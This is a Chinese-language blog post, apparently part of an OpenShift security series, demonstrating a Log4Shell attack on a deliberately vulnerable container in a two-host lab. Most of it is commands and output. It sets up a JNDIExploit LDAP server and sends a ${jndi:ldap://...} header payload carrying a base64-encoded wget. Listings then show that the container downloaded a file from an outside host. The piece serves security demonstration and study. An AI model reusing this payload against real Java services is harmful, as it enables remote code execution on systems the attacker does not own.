OpenShift Security - 利用Log4j漏洞攻击容器(附视频)
利用Log4j漏洞攻击容器需要有2个条件,1)Java应用中包含受到漏洞影响的Log4j。2)带有“JNDI 注入”的运行环境。以下在 2 个节点上进行验证:在 172.17.0.30 上执行以下命令,运行带有 “JNDI 注入” 的环境。$ curl -OL https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDI
·
漏洞攻击过程
利用 Log4j 漏洞攻击容器需要有2个条件,1)Java应用中包含受到漏洞影响的Log4j。2)带有“JNDI 注入”的运行环境。
以下在 2 个节点上进行验证:
- 在 172.17.0.30 上执行以下命令,运行带有 “JNDI 注入” 的环境。
$ curl -OL https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip
$ unzip JNDIExploit.zip
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.30 -p 8888
- 在 172.17.0.29 上执行命令。先启动受到 Log4j 漏洞影响的容器,并确认“/tmp”目录下的文件。然后将入驻命令进行 base64 编码,再利用 JNDI 服务注入命令并执行。最后可以确认,受到Log4j漏洞影响的容器内部中已经有被下载的测试文件。
$ docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
$ docker exec vulnerable-app ls -al /tmp
total 35100
drwxrwxrwt 1 root root 4096 Dec 24 14:28 .
drwxr-xr-x 1 root root 4096 Dec 24 14:24 ..
drwxr-xr-x 2 root root 4096 Dec 24 14:24 hsperfdata_root
drwx------ 2 root root 4096 Dec 24 14:24 tomcat-docbase.8080.1524040148610409673
drwx------ 3 root root 4096 Dec 24 14:24 tomcat.8080.4589198206320996711
$ echo 'wget https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip -P /tmp' | base64
$ curl 172.17.0.29:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.30:1389/Basic/Command/Base64/d2dldCBodHRwczovL2dpdGh1Yi5jb20vZ2l0ZXJsaXp6aS9KTkRJRXhwbG9pdC9yZWxlYXNlcy9kb3d$ ubG9hZC92MS4yL0pORElFeHBsb2l0LnppcCAtUCAvdG1wCg==}'
$ docker exec vulnerable-app ls -al /tmp
total 35100
drwxrwxrwt 1 root root 4096 Dec 24 14:28 .
drwxr-xr-x 1 root root 4096 Dec 24 14:24 ..
-rw-r--r-- 1 root root 35919493 Dec 24 14:28 JNDIExploit.zip
drwxr-xr-x 2 root root 4096 Dec 24 14:24 hsperfdata_root
drwx------ 2 root root 4096 Dec 24 14:24 tomcat-docbase.8080.1524040148610409673
drwx------ 3 root root 4096 Dec 24 14:24 tomcat.8080.4589198206320996711
演示视频
更多推荐
已为社区贡献3条内容
所有评论(0)